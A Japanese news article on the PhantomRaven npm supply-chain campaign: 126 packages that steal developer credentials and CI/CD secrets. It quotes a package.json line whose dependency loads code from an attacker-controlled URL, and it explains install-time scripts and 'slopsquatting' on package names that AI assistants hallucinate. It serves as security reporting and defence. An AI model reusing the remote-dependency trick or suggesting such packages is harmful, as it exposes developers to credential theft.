PhantomRaven の攻撃手法:依存関係隠蔽/AI 標的/自動スクリプトを持つ 126 の悪意の npm パッケージ

PhantomRaven Attack Discovered in 126 Malicious npm Packages, Exceeding 86,000 Downloads

2025/10/30 gbhackers — PhantomRaven の出現は、世界中の開発者コミュニティを揺るがすものだ。この大規模キャンペーンには、126 個の悪意のある npm パッケージが関与し、86,000 回以上のダウンロードを記録した。これらの悪意のパッケージは水面下に潜み、世界中の無防備な開発者から npm トークン/GitHub の認証情報/CI/CD のシークレットを積極的に盗んでいる。この攻撃者はオープンソース・エコシステムの盲点を突くことで、セキュリティ分析から悪意のコードを隠蔽する新しい手法を駆使し、大きな影響を生み出している。

2025年10月に Koi Security の行動リスク・エンジン Wings は、外部ネットワークへのリクエストを行う npm パッケージの急増を検出した。このような外部への通信は、ほとんどのパッケージのインストール時に発生するものではない。

さらに詳しく調査した結果、真相が明らかになった。8 月以降において大規模な攻撃が進行しており、オリジナルの 126 個のパッケージのうち、80 個以上が稼働し続け、秘密裏に認証情報を盗んでいた。

npm が実施した初期の削除では、その後のアップロードの大部分が見逃され、このキャンペーンは数ヶ月にわたり検出を逃れることになった。

Koidex report for one of the malicious packages.
Koidex report for one of the malicious packages.

この攻撃者のインフラは、運用上のセキュリティが驚くほど欠如しており、無料サービスの連続したメールアドレス “jpdtester01@hotmail[.]com” 〜 “jpdtester13@gmail[.]com” および、”npmhell” や “npmpackagejpd” といった簡便なユーザー名に依存していた。

こうしたパンくずリストが存在していたが、巧妙な配信メカニズムにより真のペイロードは隠されていた。

PhantomRaven がどのように検出を逃れたか

従来の npm パッケージは、npmjs.com からダイレクトに取得した依存関係をリストするため、依存関係に関するスキャナや分析ツールにより透過的に検出される。

しかし、PhantomRaven は高度な検出回避の戦術である、Remote Dynamic Dependencies (RDD) を採用していた。つまり、これらのパッケージは、標準的なポインタではなく、次のような HTTP URL で依存関係を参照していた。

"dependencies": {
"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"
}

この無害に見える変更は、きわめて重要なものである。そのインストール時に、npm はリモート・パッケージを攻撃者のサーバからダイレクトに取得し、レジストリ制御を回避してセキュリティ・スキャナを無効化する。つまり、UI には “依存関係 0 件” と表示される。

The npm UI shows 0 dependencies.
The npm UI shows 0 dependencies.

配布サーバを完全に制御している攻撃者は、インストーラの IP アドレスを調べることで、標的のペイロードを配信することさえ可能である。

それぞれのインストールでは、”preinstall” などのライフサイクル・スクリプトが実行されるため、依存関係ツリーのあらゆる階層に埋め込まれている悪意のコードであっても、自動的に実行される。

それにより攻撃者は、必要に応じてカスタマイズされた悪意のペイロードを配信できるだけではなく、ユーザーへのプロンプトや警告もすべて回避できる。

PhantomRaven の実際の動作

インストールされた PhantomRaven マルウェアは、機密情報を徹底的に収集する。

  • メール・アドレス収集:環境変数/設定ファイル (.gitconfig や .npmrc) に加えて、”package.json” ファイル内のメタデータや、開発者のメール・アドレスまでも収集する。
  • CI/CD 認証情報の窃取:GitHub Actions/GitLab CI/Jenkins/CircleCI/npm などのプラットフォームの機密情報を積極的に標的とし、ビルド・サーバやデプロイメント・パイプラインに直接的な脅威を与える。
  • システム・フィンガープリンティング:収集されるデータには、パブリック IP アドレス/ローカル IP アドレス/ホスト名/OS 情報/ユーザー名/作業ディレクトリ/Node.js のバージョンなどが含まれる。それにより、攻撃者は標的を優先順位付けし、将来の攻撃を微調整できる。

PhantomRaven は、HTTP GET/HTTP POST/フォールバック WebSocket 接続を介して、窃取したデータを冗長的に送信することで、大半のネットワーク制限を効果的に回避する。

Redundant to the point of paranoia.
Redundant to the point of paranoia.

PhantomRaven のパッケージ名は、単なるタイポスクワットではない。攻撃者は大規模言語モデル (LLM) の幻覚を悪用し、Copilot/ ChatGPT などの AI アシスタントが提案するような、もっともらしいパッケージを作成する。例として挙げられるのは、正当な “eslint-plugin-unused-imports” に対する “unused-imports” である。

このスロップ・スクワッティングと呼ばれる手法により、開発者の AI が推奨するだけでインストールに至る可能性のあるパッケージで、この攻撃者はエコシステムを汚染できる。つまり、AI の提案を信じる被害者は、知らないうちに PhantomRaven マルウェアを環境に持ち込んでしまう。

オープンソース・セキュリティの再考

PhantomRaven の手法が示すのは、ソフトウェア・サプライチェーン攻撃の高度化である。Remote Dynamic Dependencies (RDD)/AI を標的とするパッケージ名/自動実行されるライフサイクル・スクリプトは、マルウェア配信の新たな時代を象徴しており、多くの既存のセキュリティ・ツールを凌駕する。

Koi Security の調査とソリューションが示すのは、パッケージが宣言している内容だけでなく、実際に何を行うかを監視する動作分析により、静的スキャンでは検出できない攻撃を検知できることだ。

これらのオープンソース・エコシステムが脅威に直面する中、開発者と企業に加えて、ソフトウェア・サプライチェーン自体を保護するためには、高度で動的な防御が不可欠となる。